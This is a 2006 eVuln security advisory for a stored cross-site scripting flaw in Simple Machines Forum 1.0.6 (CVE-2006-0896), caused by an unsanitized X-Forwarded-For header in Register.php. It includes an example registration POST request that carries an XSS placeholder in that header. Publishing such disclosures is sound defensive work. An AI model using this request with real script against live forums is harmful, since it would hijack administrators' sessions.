New eVuln Advisory:
Simple Machines Forum - SMF 'X-Forwarded-For' XSS Vulnerability
http://evuln.com/vulns/86/summary.html

--------------------Summary----------------
eVuln ID: EV0086
CVE: CVE-2006-0896
Software: Simple Machines Forum - SMF
Sowtware's Web Site: http://www.simplemachines.org/
Versions: 1.0.6
Critical Level: Harmless
Type: Cross-Site Scripting
Class: Remote
Status: Unpatched. Developer(s) contacted.
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)

-----------------Description---------------
Vulnerable script: Sources/Register.php

Variable $_SERVER['HTTP_X_FORWARDED_FOR'] isn't properly sanitized. This can be used to post HTTP query with fake X-Forwarded-For value which may contain arbitrary html or script code. This code will be executed when administrator will open "View all members" section in Administrator's control panel .

Administrator's session is threatened.

--------------Exploit----------------------
Available at: http://evuln.com/vulns/86/exploit.html

Example of HTTP POST Query:


POST /smf/index.php? PHPSESSID=fa9c180d0a3f5fae0de2d56ba6fce944&action=register2 HTTP/1.0
Host: [host]
X-Forwarded-For: anyIP[XSS]
Cookie: PHPSESSID=fa9c180d0a3f5fae0de2d56ba6fce944
Content-Length: 81

user=mmm&email=mmm@mmm.com&passwrd1=mmm&passwrd2=mmm&regagree=1&regSubmit=Register

--------------Solution---------------------
No Patch available.

--------------Credit-----------------------
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)


Regards,
Aliaksandr Hartsuyeu
http://evuln.com - Penetration Testing Services
.